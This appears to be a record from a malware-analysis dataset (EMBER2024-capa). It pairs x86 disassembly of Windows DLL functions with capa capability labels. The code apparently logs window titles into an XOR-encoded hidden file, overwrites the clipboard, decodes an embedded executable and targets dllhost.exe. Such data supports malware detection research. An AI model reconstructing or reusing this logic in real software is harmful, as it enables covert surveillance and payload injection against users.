joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004d34
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
lea eax, [ebp - 0x48]
push ebx
push esi
push edi
push 0x38
xor esi, esi
mov edi, ecx
push esi
push eax
call sub.ntdll.dll_memset
push edi
call dword [edi + 0x18]
add esp, 0x10
cmp eax, 0x38
jbe 0x10004f21
push 0x38
lea eax, [ebp - 0x48]
push eax
push edi
lfence
call dword [edi + 0x10]
push edi
call dword [edi + 0x18]
add esp, 0x10
cmp eax, dword [ebp - 0x20]
jne 0x10004e1e
push esi
push edi
call dword [edi + 0x1c]
mov edx, dword [ebp - 0x20]
mov ebx, eax
mov ecx, ebx
call fcn.10003b97
push 0x208
lea eax, [ebp - 0x250]
push esi
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x250]
add esp, 0x14
push 0x1004f144
push eax
call esi
push str.cp.cfg
lea eax, [ebp - 0x250]
push eax
call esi
xor eax, eax
push eax
push 0x80
push 4
push eax
push 3
mov dword [ebp - 4], eax
lea eax, [ebp - 0x250]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
test esi, esi
je 0x10004e12
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x20]
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x20]
mov ecx, ebx
call fcn.10003b97
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
call dword [edi + 0x18]
pop ecx
cmp eax, 4
jbe 0x10004f17
push 4
lea eax, [ebp - 8]
push eax
push edi
lfence
call dword [edi + 0x10]
add esp, 0xc
push 4
push 0x1000
push dword [ebp - 8]
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call esi
mov ebx, eax
test ebx, ebx
je 0x10004f17
push edi
lfence
call dword [edi + 0x18]
pop ecx
mov ecx, dword [ebp - 8]
cmp eax, ecx
jbe 0x10004f17
push ecx
push ebx
push edi
lfence
call dword [edi + 0x10]
push edi
call dword [edi + 0x18]
add esp, 0x10
cmp eax, 4
jbe 0x10004f17
push 4
lea eax, [ebp - 0xc]
push eax
push edi
lfence
call dword [edi + 0x10]
add esp, 0xc
push 4
push 0x1000
push dword [ebp - 0xc]
push 0
call esi
mov esi, eax
test esi, esi
je 0x10004f17
push edi
lfence
call dword [edi + 0x18]
pop ecx
mov ecx, dword [ebp - 0xc]
cmp eax, ecx
jb 0x10004f17
push ecx
push esi
push edi
lfence
call dword [edi + 0x10]
add esp, 0xc
cmp dword [0x1004f368], 0
je 0x10004f1a
mov eax, ebx
cdq
mov ecx, edx
mov ebx, eax
mov eax, esi
mov dword [ebp - 4], ecx
push ecx
mov ecx, dword [0x1004f368]
cdq
push ebx
mov esi, eax
mov dword [ebp - 0x10], edx
call fcn.1000af29
or eax, edx
pop ecx
pop ecx
push dword [ebp - 0x10]
push esi
push dword [ebp - 4]
push ebx
je 0x10004f07
call fcn.1000afe1
jmp 0x10004f12
mov ecx, dword [0x1004f368]
call fcn.1000aec2
add esp, 0x10
jmp 0x10004f1a
lfence
mov ecx, edi
call fcn.100031f9
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x10004f28
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x228]
push ebx
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x228]
add esp, 0xc
push 0x1004f144
push eax
call esi
push str.cp.cfg
lea eax, [ebp - 0x228]
push eax
call esi
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
lea eax, [ebp - 0x228]
mov dword [ebp - 0x1c], ebx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000513a
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push 4
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push 0x1000
push esi
push ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], eax
call eax
mov ebx, eax
test ebx, ebx
je 0x1000512f
push 0
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x10005129
mov edx, esi
mov ecx, ebx
call fcn.10003b97
call fcn.100030eb
push dword [ebp - 0x18]
mov esi, eax
push ebx
push esi
call dword [esi + 0x14]
add esp, 0xc
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
and dword [ebp - 0xc], 0
and dword [ebp - 0x10], 0
push esi
call dword [esi + 0x18]
pop ecx
cmp eax, 4
jbe 0x10005120
mov ebx, dword [ebp - 0x14]
lfence
push 4
lea eax, [ebp - 0xc]
push eax
push esi
call dword [esi + 0x10]
add esp, 0xc
push 4
push 0x1000
push dword [ebp - 0xc]
push 0
call ebx
mov dword [ebp - 4], eax
test eax, eax
je 0x10005120
push esi
call dword [esi + 0x18]
pop ecx
mov ecx, dword [ebp - 0xc]
cmp eax, ecx
jbe 0x10005120
push ecx
push dword [ebp - 4]
lfence
push esi
call dword [esi + 0x10]
push esi
call dword [esi + 0x18]
add esp, 0x10
cmp eax, 4
jbe 0x10005120
push 4
lea eax, [ebp - 0x10]
push eax
push esi
lfence
call dword [esi + 0x10]
add esp, 0xc
push 4
push 0x1000
push dword [ebp - 0x10]
push 0
call ebx
mov dword [ebp - 8], eax
test eax, eax
je 0x10005120
push esi
lfence
call dword [esi + 0x18]
pop ecx
mov ecx, dword [ebp - 0x10]
cmp eax, ecx
jb 0x10005120
push ecx
push dword [ebp - 8]
lfence
push esi
call dword [esi + 0x10]
add esp, 0xc
cmp dword [0x1004f368], 0
je 0x1000510a
mov eax, dword [ebp - 4]
cdq
mov ecx, eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
push dword [ebp - 4]
cdq
mov dword [ebp - 0x18], ecx
push ecx
mov ecx, dword [0x1004f368]
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], edx
call fcn.1000af29
or eax, edx
pop ecx
pop ecx
push dword [ebp - 8]
push dword [ebp - 0x14]
push dword [ebp - 4]
push dword [ebp - 0x18]
je 0x100050fc
call fcn.1000afe1
jmp 0x10005107
mov ecx, dword [0x1004f368]
call fcn.1000aec2
add esp, 0x10
and dword [ebp - 0xc], 0
and dword [ebp - 0x10], 0
push esi
call dword [esi + 0x18]
pop ecx
cmp eax, 4
ja 0x1000501e
mov ecx, esi
call fcn.100031f9
jmp 0x1000512f
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test edi, edi
je 0x1000513a
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x10005141
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
mov esi, dword [0x1004f368]
push edi
push 0x20
push esi
call dword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x10005192
test esi, esi
je 0x10005192
lea edi, [esi + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
jmp 0x10005184
lea edx, [eax - 1]
mov ecx, esi
call fcn.1000b0af
push edx
push eax
mov ecx, esi
call fcn.1000b03d
pop ecx
pop ecx
mov eax, dword [esi + 4]
test eax, eax
jne 0x1000516f
push edi
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
push 0x208
lea eax, [ebp - 0x208]
push 0
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x208]
add esp, 0xc
push 0x1004f144
push eax
call esi
push str.cp.cfg
lea eax, [ebp - 0x208]
push eax
call esi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x100051dd
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1004f368]
sub esp, 0x28
push ebx
push esi
mov esi, ecx
push edi
test eax, eax
je 0x10005374
xor ebx, ebx
cmp dword [eax + 4], ebx
jbe 0x10005374
push ebx
push esi
call dword [esi + 0x1c]
push esi
mov dword [ebp - 0x18], eax
call dword [esi + 0x18]
mov esi, dword [0x1004f368]
add esp, 0xc
mov dword [ebp - 8], eax
mov edi, ebx
cmp dword [esi + 4], ebx
jbe 0x10005374
mov eax, dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], eax
mov edx, edi
mov ecx, esi
call fcn.1000b0af
mov esi, dword [0x1004f368]
mov dword [ebp - 4], eax
test esi, esi
je 0x100052a3
cmp edi, dword [esi + 4]
jae 0x100052a3
lea eax, [esi + 8]
push eax
mov dword [ebp - 0x1c], eax
call ebx
mov eax, dword [esi]
xor ecx, ecx
jmp 0x1000526e
cmp ecx, edi
jae 0x10005272
mov eax, dword [eax + 0x10]
inc ecx
test eax, eax
jne 0x10005266
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
test eax, eax
je 0x10005286
mov ebx, dword [eax + 8]
mov esi, dword [eax + 0xc]
jmp 0x1000528c
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
call dword [ebp - 0x24]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], esi
mov esi, dword [0x1004f368]
jmp 0x100052b1
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0xc], ebx
test eax, eax
je 0x100052ef
test ebx, ebx
je 0x100052ef
xor ebx, ebx
cmp dword [ebp - 8], ebx
jbe 0x100052ef
mov esi, dword [ebp - 0x18]
lfence
push eax
call dword [ebp - 0x14]
add eax, eax
push eax
push dword [ebp - 4]
push esi
call sub.ntdll.dll_memcmp
add esp, 0xc
test eax, eax
je 0x100052fd
mov eax, dword [ebp - 4]
inc ebx
add esi, 2
cmp ebx, dword [ebp - 8]
jb 0x100052c6
mov esi, dword [0x1004f368]
inc edi
cmp edi, dword [esi + 4]
jae 0x10005374
mov ebx, dword [ebp - 0x28]
jmp 0x1000523c
push dword [ebp - 4]
lfence
call dword [ebp - 0x14]
add eax, eax
push eax
push dword [ebp - 0xc]
push esi
call sub.ntdll.dll_memcpy
add esp, 0xc
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
mov ebx, dword [sym.imp.USER32.dll_CloseClipboard]
test eax, eax
jne 0x10005329
call ebx
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [ebp - 8]
push 2
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10005374
push esi
lfence
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
mov edi, eax
test edi, edi
je 0x10005374
push dword [ebp - 8]
lfence
push dword [ebp - 0x18]
push edi
call sub.ntdll.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push edi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000537b
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
push 0x46
mov edi, ecx
xor ebx, ebx
push ebx
push edi
call dword [edi + 0x1c]
pop ecx
pop ecx
push eax
push 0x1004f3c0
call sub.ntdll.dll_memcmp
add esp, 0xc
test eax, eax
je 0x10005442
push esi
push edi
call dword [edi + 0x18]
push ebx
push edi
mov esi, eax
call dword [edi + 0x1c]
add esp, 0xc
cmp dword [0x1004f37c], ebx
je 0x10005441
cmp esi, 0x46
je 0x100053d4
cmp esi, 0x48
je 0x100053d4
cmp esi, 0x4a
je 0x100053d4
cmp esi, 0x4c
je 0x100053d4
cmp esi, 0x4e
jne 0x10005441
cmp byte [eax], 0x54
jne 0x10005441
push ebx
call dword [sym.imp.USER32.dll_OpenClipboard]
mov ebx, dword [sym.imp.USER32.dll_CloseClipboard]
test eax, eax
jne 0x100053ec
call ebx
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 2
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10005441
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
mov edi, eax
test edi, edi
je 0x10005441
push 0x1004f3c0
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax*2 + 1]
push eax
push 0x1004f3c0
push edi
call sub.ntdll.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push edi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
call ebx
pop esi
pop edi
xor eax, eax
pop ebx
ret
Function at 0x10005820
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call sub.ntdll.dll__chkstk
push esi
push edi
mov edi, 0x800
lea eax, [ebp - 0x818]
push edi
xor esi, esi
push esi
push eax
call sub.ntdll.dll_memset
push edi
lea eax, [ebp - 0x1818]
mov dword [ebp - 4], esi
push esi
push eax
mov dword [ebp - 8], esi
call sub.ntdll.dll_memset
add esp, 0x18
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
lea ecx, [ebp - 0x818]
mov dword [0x1004f454], eax
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 4]
push eax
push dword [0x1004f454]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x100058a8
lea edx, [ebp - 0x1818]
call fcn.1000ed47
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
push edi
lea eax, [ebp - 0x1018]
push esi
push eax
call sub.ntdll.dll_memset
mov eax, dword [0x1004f454]
add esp, 0xc
cmp eax, dword [0x1004f458]
je 0x10005952
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [ebp - 0x818]
push eax
call edi
test eax, eax
jle 0x10005946
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
lea eax, [ebp - 0x818]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x1818]
push eax
lea eax, [ebp - 0x1018]
push str._r_n_PROCESS:__s_r_n_USERID:__d_r_n_TITLE:__s_r_n_TIME:__d__d__d___d:_d:_d_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x2c
lea eax, [ebp - 0x1018]
push eax
call edi
add eax, eax
lea ecx, [ebp - 0x1018]
mov edx, eax
call fcn.10005958
xor esi, esi
inc esi
mov ecx, dword [0x1004f454]
mov dword [0x1004f458], ecx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x10005958
Capabilities:
Encode data using xor
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
push 0x208
xor edi, edi
mov dword [ebp - 4], ecx
lea eax, [ebp - 0x218]
mov ebx, edx
push edi
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x218]
add esp, 0xc
push 0x1004f144
push eax
call esi
push str._temp.key
lea eax, [ebp - 0x218]
push eax
call esi
push edi
push 0x80
push 3
push edi
push 2
push 0x40000000
lea eax, [ebp - 0x218]
mov dword [ebp - 8], edi
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10005a22
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
call edi
push 0
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 0xfeff
push eax
push 2
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 2
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 2
push 0
push 0
push esi
call edi
push 4
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x10005a8e
test ebx, ebx
je 0x10005a62
sub dword [ebp - 4], edi
mov ecx, edi
mov edi, dword [ebp - 4]
mov edx, ebx
mov al, byte [edi + ecx]
xor al, 0x62
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10005a52
mov edi, dword [ebp - 0x10]
push 0
lea eax, [ebp - 8]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 2
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test esi, esi
je 0x10005a99
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x10005f4f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcdc
push ebx
push esi
push edi
mov esi, ecx
call fcn.100030eb
mov edi, eax
push esi
mov dword [ebp - 0x18], edi
call dword [esi + 0x18]
pop ecx
push eax
xor ebx, ebx
push ebx
push esi
call dword [esi + 0x1c]
pop ecx
pop ecx
push eax
push edi
call dword [edi + 0x14]
mov ecx, esi
call fcn.100031f9
push 0x38
lea eax, [ebp - 0x50]
push ebx
push eax
call sub.ntdll.dll_memset
push 0x38
lea eax, [ebp - 0x50]
push eax
push edi
call dword [edi + 0x10]
push 0xa88
lea eax, [ebp - 0xcd8]
push ebx
push eax
call sub.ntdll.dll_memset
mov ax, word [0x1004f390]
add esp, 0x30
mov word [ebp - 0xbd8], ax
lea eax, [ebp - 0xcd8]
push dword [0x1004f3ac]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [0x1004f384]
xor ecx, ecx
inc ecx
cmp eax, ecx
jne 0x10005fe0
push 0x1004aa6c
jmp 0x10005ff0
test eax, eax
jne 0x10005feb
push 0x1004aa64
jmp 0x10005ff0
push str.HTTP
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0xbd6]
push eax
call ebx
push 0
push edi
call dword [edi + 0x1c]
mov esi, eax
push edi
mov dword [ebp - 8], esi
call dword [edi + 0x18]
add esp, 0xc
mov dword [ebp - 0x10], eax
xor ecx, ecx
xor byte [ebp + ecx - 0xcd8], 0x3a
inc ecx
cmp ecx, 0xa88
jl 0x10006016
lea edi, [esi - 0xa8c]
mov ecx, 0x2a2
add edi, eax
lea esi, [ebp - 0xcd8]
rep movsd dword es:[edi], dword [esi]
and dword [ebp - 0xc], 0
call fcn.100087ae
mov edi, dword [ebp - 8]
push edi
mov dword [ebp - 0x14], eax
call dword [eax + 0x1c]
mov esi, eax
mov dword [esp], 0x200
lea eax, [ebp - 0x250]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
cmp esi, 0x20
jne 0x10006089
lea edx, [ebp - 0x250]
call fcn.1000e0f6
push str._system32
lea eax, [ebp - 0x250]
push eax
call ebx
jmp 0x10006099
cmp esi, 0x40
jne 0x10006099
lea edx, [ebp - 0x250]
call fcn.1000e0dc
push str.dllhost.exe
lea eax, [ebp - 0x250]
push eax
call ebx
and dword [ebp - 4], 0
mov ecx, 0x1004ac78
call fcn.1000eb29
test eax, eax
je 0x10006101
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov eax, dword [ebp - 4]
mov esi, dword [ebp - 0x14]
test eax, eax
push 1
pop ecx
cmove eax, ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x250]
push edi
push eax
call dword [esi + 0xc]
mov ecx, dword [ebp - 0x18]
add esp, 0x14
call fcn.100031f9
mov ecx, esi
call fcn.100088f1
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
mov eax, dword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId]
test eax, eax
je 0x100060c4
call eax
jmp 0x100060c7
Function at 0x1000770f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
xorps xmm0, xmm0
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push edi
movlpd qword [esp + 0x1c], xmm0
movlpd qword [esp + 0x24], xmm0
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], 0x2072024
mov dword [esp + 0x38], 0x3004
call dword [edi + 0x18]
pop ecx
mov ecx, dword [ebp + 8]
mov dword [esp + 0x38], eax
mov dword [esp + 0x40], ebx
mov eax, dword [ecx + 4]
mov dword [esp + 0x30], eax
mov eax, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ecx
call fcn.100030eb
mov esi, eax
lea eax, [esp + 0x10]
push 0x38
push eax
push esi
call dword [esi + 0x14]
add esp, 0xc
push edi
call dword [edi + 0x18]
pop ecx
push eax
push ebx
push edi
call dword [edi + 0x1c]
pop ecx
pop ecx
push eax
push esi
call dword [esi + 0x14]
add esp, 0xc
mov ecx, edi
call fcn.100031f9
lea eax, [esp + 0xc]
mov dword [esp + 0xc], ebx
push eax
push ebx
push esi
push 0x10007635
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [0x1004f3a0]
test ecx, ecx
je 0x100077d1
cdq
push edx
push eax
push ebx
push dword [esp + 0x18]
call fcn.1000aec2
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007d88
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x14]
mov dword [ebp - 4], eax
test eax, eax
je 0x10007de4
mov esi, dword [eax]
test esi, esi
je 0x10007ddd
mov eax, dword [esi]
or eax, dword [esi + 4]
je 0x10007dd3
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_SetEvent]
mov ebx, dword [esi + 8]
push 0x1388
push ebx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
test ebx, ebx
je 0x10007dd3
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x10007da1
mov eax, dword [ebp - 4]
mov ecx, eax
call fcn.1000b110
mov ecx, dword [edi]
test ecx, ecx
je 0x10007df2
call fcn.10003a1e
and dword [edi], 0
cmp dword [edi + 0x10], 0
je 0x10007e0c
push 0x8000
push 0
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
and dword [edi + 0x10], 0
mov ecx, dword [0x1004f3a0]
test ecx, ecx
je 0x10007e5f
mov esi, dword [ecx]
test esi, esi
je 0x10007e53
mov eax, dword [esi]
or eax, dword [esi + 4]
je 0x10007e46
mov ebx, dword [esi + 8]
push 0x1388
push ebx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
test ebx, ebx
je 0x10007e46
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x10007e1c
mov ecx, dword [0x1004f3a0]
call fcn.1000b110
and dword [0x1004f3a0], 0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007e72
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov eax, dword [ebx]
mov dword [ebp + 8], eax
test eax, eax
je 0x10007f40
lfence
mov edi, dword [eax + ebx + 4]
test edi, edi
je 0x10007f40
push 4
push 0x1000
push edi
push 0
lfence
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10007eb7
xor eax, eax
jmp 0x10007f43
mov eax, dword [ebp + 8]
add eax, 8
push edi
add eax, ebx
push eax
push esi
lfence
call sub.ntdll.dll_memcpy
add esp, 0xc
cmp byte [esi], 0x4d
jne 0x10007ed8
cmp byte [esi + 1], 0x5a
je 0x10007ee7
xor eax, eax
test edi, edi
jle 0x10007ee7
xor byte [eax + esi], 0x3a
inc eax
cmp eax, edi
jl 0x10007ede
mov eax, dword [esi + 0x3c]
mov ecx, 0x200
movzx eax, word [eax + esi + 4]
cmp ax, cx
je 0x10007f2b
mov ecx, 0x8664
cmp ax, cx
je 0x10007f2b
push 0x8000
mov ecx, 0x14c
push 0
lfence
push esi
cmp ax, cx
jne 0x10007f23
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x20
pop eax
jmp 0x10007f43
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x10007eb0
push 0x8000
push 0
push esi
lfence
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x40
jmp 0x10007f20
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10008910
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenW]
push esi
push edi
mov edi, ecx
push edi
call ebx
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [eax*2 + 1]
push eax
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
test eax, eax
jle 0x100089a8
push 4
push 0x1000
inc eax
push eax
push esi
lfence
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100089a8
push ecx
push esi
push edi
call ebx
mov ecx, edi
lea edx, [eax*2 + 1]
call fcn.1000ea2c
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call sub.ntdll.dll_memset
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x14
mov dword [ebp - 4], ebx
push esi
call ebx
push 3
pop edi
lfence
cmp eax, edi
jg 0x100089b0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
push esi
call ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
cmp eax, edi
jle 0x100089fe
lfence
cmp byte [edi + esi], 0x5c
jne 0x100089f5
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call sub.ntdll.dll_memset
push edi
lea eax, [ebp - 0x404]
push esi
push eax
call sub.ntdll.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x404]
push 0
push eax
call ebx
push esi
inc edi
call dword [ebp - 4]
cmp edi, eax
jl 0x100089c0
push 0
push esi
call ebx
push 0x8000
push 0
push esi
lfence
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
xor eax, eax
jmp 0x100089ab